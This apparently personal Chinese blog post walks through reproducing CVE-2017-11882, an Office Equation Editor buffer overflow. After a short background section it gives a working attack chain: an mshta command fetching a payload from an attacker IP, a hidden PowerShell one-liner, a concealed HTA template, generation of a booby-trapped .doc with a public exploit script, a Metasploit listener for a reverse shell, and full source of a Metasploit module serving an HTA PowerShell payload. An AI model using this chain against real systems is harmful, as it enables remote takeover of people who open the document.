Microsoft Office内存损坏漏洞(CVE–2017–11882) 复现

0x00背景

2017年11月,微软在例行系统补丁发布中,修复了一个Office远程代码执行的严重漏洞,编号CVE-2017-11882。该漏洞类型为缓冲区溢出,位为EQNEDT32.EXE组件。受害用户打开恶意的office文档时,无需交互,就可能执行恶意代码。

据悉,这个组件是由Design Science Inc.开发的,后来由微软收购。该组件于2001年编译嵌入office,之后没有任何进一步的修改。所以该漏洞已存在17年之久。影响现阶段流行的所有office版本。

0x01 漏洞概述

EQNEDT32.EXE是用于在文档中插入和编辑方程式。插入到文档中的任何公式都是OLE对象。该组件是在OLE技术规范下设计的。首发于Microsoft Office 2000和Microsoft 2003。从Microsoft Office 2007套件开始,显示和编辑方程的方法发生了变化,虽然EQNEDT32.EXE变得过时,不过,为了保持版本兼容性,它并没有从Office套件中删除。

EQNEDT32.EXE为OLE实现了一组标准的COM接口。

  • IOleObject

  • IDataObject

  • IOleInPlaceObject

  • IOleInPlaceActiveObject

  • IpersistStorage

而问题的就在于IpersistStorage:Load这个位置。因为历史久远,该组件开发的时候并没有例如ASLR这样的漏洞缓解措施。利用起来更加的方便。

0x02 漏洞利用

1.生成反弹 shell 的一句话

生成 shell

1
mshta.exe "//192.168.9.172:8080/6QYqdXU"

1

2.访问该 url ,下载文件,获取 powershell 一句话

1
powershell.exe -nop -w hidden -e *******************

3.新建文件,例如 abc

calc.exe 换成上面的 powershell 一句话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>

大概长这样
2

4.将该文件上传到 /var/www/html/ 目录下,并开启 apache 服务器

1
service apache2 start

5.利用 exp 生成 doc

1
python Command_CVE-2017-11882.py -c "mshta //192.168.9.172/abc" -o test.doc

6.开启 msf 监听

3

7.打开 doc

5

8.成功获得 shell

4

0x03 参考文档

//bobao.360.cn/learning/detail/4734.html

https://github.com/Ridter/CVE-2017-11882

PS_shell.rb 内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Office Payload Delivery',
'Description' => %q{
This module generates an command to place within
a word document, that when executed, will retrieve a HTA payload
via HTTP from an web server. Currently have not figured out how
to generate a doc.
},
'License' => MSF_LICENSE,
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
['Automatic', {} ],
],
'DefaultTarget' => 0,
))
end
def on_request_uri(cli, _request)
print_status("Delivering payload")
p = regenerate_payload(cli)
data = Msf::Util::EXE.to_executable_fmt(
framework,
ARCH_X86,
'win',
p.encoded,
'hta-psh',
{ :arch => ARCH_X86, :platform => 'win '}
)
send_response(cli, data, 'Content-Type' => 'application/hta')
end
def primer
url = get_uri
print_status("Place the following DDE in an MS document:")
print_line("mshta.exe \"#{url}\"")
end
end

Powered by Hexo and Hexo-theme-hiker

Copyright © 2017 - 2019 Damit5's Blog All Rights Reserved.

UV : | PV :